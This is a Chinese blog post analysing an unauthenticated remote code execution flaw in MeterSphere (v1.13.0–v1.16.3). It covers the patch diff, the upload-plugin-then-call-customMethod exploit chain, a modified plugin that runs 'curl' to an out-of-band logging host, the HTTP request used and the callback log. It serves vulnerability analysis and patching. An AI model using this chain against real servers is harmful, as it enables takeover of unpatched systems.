

MeterSphere 匿名接口远程命令执行漏洞分析_一苇 sec 的博客 - CSDN 博客

软件背景

MeterSphere 是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、性能测试、团队协作等功能, 全面兼容 JMeter、Postman、Swagger 等开源、主流标准。

影响版本

MeterSphere \geq v1.13.0, \leq v1.16.3

漏洞分析

1. 官方已发布修复版本 v1.16.4, 根据 github 的 [commit](#) 提交记录对比分析:

✓ fix(测试计划): 修复自定义插件安全漏洞及用例模块匹配问题

pr#9137

pr#9134

v1.16

#9134

song-tianyang

committed 4 days ago

1 parent 5a4ca0d

commit 07155cf833094f88820ada18af489cedd07d3100

Showing 2 changed files with 1 addition and 3 deletions.

1

...d/src/main/java/io/metersphere/api/dto/definition/request/sampler/MsHTTPSamplerProxy.java

@@ -820,6 +820,7 @@ private HttpConfig matchConfig(ParameterConfig parameterConfig) {

820 820 } else {

821 821 TestPlanApiCaseService testPlanApiCaseService = CommonBeanFactory.getBean(TestPlanApiCaseService.class);

822 822 TestPlanApiCase testPlanApiCase = testPlanApiCaseService.getById(this.getId());

823 + testPlanApiCase = testPlanApiCase == null ? testPlanApiCaseService.getById(this.getName()) : testPlanApiCase;

823 824 if (testPlanApiCase != null) {

824 825 ApiTestCaseWithBLOBs caseWithBLOBs = apiTestCaseService.get(testPlanApiCase.getApiCaseId());

825 826 if (caseWithBLOBs != null) {

3

backend/src/main/java/io/metersphere/commons/Utils/ShiroUtils.java

@@ -71,9 +71,6 @@ public static void loadBaseFilterChain(Map<String, String> filterChainDefinition

71 71 //mock接口

72 72 filterChainDefinitionMap.put("/mock/**", "anon");

73 73 filterChainDefinitionMap.put("/ws/**", "anon");

74 -

75 - filterChainDefinitionMap.put("/plugin/**", "anon");

76 -

77 74 }

78 75

79 76 public static void ignoreCsrfFilter(Map<String, String> filterChainDefinitionMap) {

CSDN @一華sec

不难看出，/plugin 接口存在匿名访问，v1.16.4 版本针对漏洞修复，仅删除了该接口的匿名访问。

2. 查找该接口定义文件 PluginController.java:

```
@PostMapping("/add")
public String create(@RequestPart(value = "file", required = false) MultipartFile file) {
    if (file == null) {
        MSErrorException.throwException("上传文件/执行入口为空");
    }
    return pluginService.editPlugin(file);
}

@GetMapping("/list")
public List<PluginDTO> list(String name) {
    return pluginService.list(name);
}

@GetMapping("/get/{id}")
public Plugin get(@PathVariable String id) {
    return pluginService.get(id);
}

@GetMapping("/delete/{id}")
public String delete(@PathVariable String id) {
    return pluginService.delete(id);
}

@PostMapping(value = "/customMethod")
public Object customMethod(@RequestBody PluginRequest request) {
    return pluginService.customMethod(request);
}
```

```
        return pluginService.customMethod(request);  
    }  
}
```

CSDN @一苇sec

结合 metersphere 业务逻辑不难看出，该漏洞是先通过 / plugin/add 接口上传插件 jar 包，然后通过 / plugin/customMethod 接口执行上传 jar 包内的自定义函数代码。

3. 插件 demo

通过搜索 metersphere github，可以看到有现成的插件 demo：

[GitHub – metersphere/metersphere-plugin-DebugSampler](#)

4. 修改自定义代码

```
public boolean xpack() {  
    return false;  
}  
  
@Override  
public PluginResource init() {  
    LogUtil.info("开始初始化脚本内容 ");  
    List<UiScript> uiScripts = new LinkedList<>();  
    String script = getJson("/json/ui.json");  
    UiScript uiScript = new UiScript("DebugSampler", "调试请求", "io.metersphere.plugin.DebugSampler.sampler.MsDebugSampler", script);  
    uiScript.setJmeterClazz("AbstractSampler");  
    // 添加可选参数  
    uiScript.setFormOption(getJson("/json/ui_form.json"));  
  
    uiScripts.add(uiScript);  
    LogUtil.info("初始化脚本内容结束 ");  
    return new PluginResource("DebugSampler-v1.0", uiScripts);  
}  
  
@Override  
public String customMethod(String req) {  
    LogUtil.info("进入自定义方法，开始写自己的逻辑吧");  
    List<SelectParams> list = new LinkedList<>();  
    SelectParams argsParams = new SelectParams();  
    argsParams.setLabel("Test");  
}
```

```

        argsParams.setValue("Test");
        list.add(argsParams);
        return JSON.toJSONString(list);
    }

```

CSDN @一苇sec

插件内已定义了 customMethod 方法，我们修改一下，添加我们的验证代码：

```

Runtime run = Runtime.getRuntime();
try {
    Process process = run.exec("curl g3b7p0.ceye.io");
} catch (Exception e) {
    e.printStackTrace();
}

```

5. 重新打包，调用 / plugin/add 接口上传 jar 包

```
mvn clean package
```

6. 调用 customMethod 类测试验证

Request

Pretty

Raw

Hex

↵

↵

☰

```

1 POST / HTTP/1.1
2 Host:
3 Accept: text/plain, */*
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.9
7 Connection: close
8 Content-Type: application/json
9 Content-Length: 81
10
11 {
12   "label": "io.metersphere.plugin.DebugSampler.UiScriptApiImpl"
13   "id": "id"
14 }

```

Response

Pretty

Raw

Hex

Render

↵

↵





☰

```

1 HTTP/1.1 200 OK
2 Connection: close
3 Date: Mon, 10 Jan 2022 02:30:50 GMT
4 Content-Type: application/json
5 Vary: Accept-Encoding, User-Agent
6 Content-Length: 67
7
8 {
9   "data": [{"label": "Test", "value": "Test"}],
10  "success": true
11 }

```

ceye 收到 http 请求验证。

ID	Name	Remote Addr	Method	Data	User Agent	Content Type	Created At (UTC+0)
23523 211	http://g3b7p0.ceye.io/		GET		curl/7.66.0		2022-01-11 
235231 96	http://g3b7p0.ceye.io/		GET		curl/7.66.0		2022-01-11 

<1>

CSDN @一苇sec

漏洞修复建议

官方已发布漏洞补丁及修复版本，请评估业务是否受影响后，酌情升级至安全版本。

官方链接：<https://github.com/metersphere/metersphere/releases/tag/v1.16.4>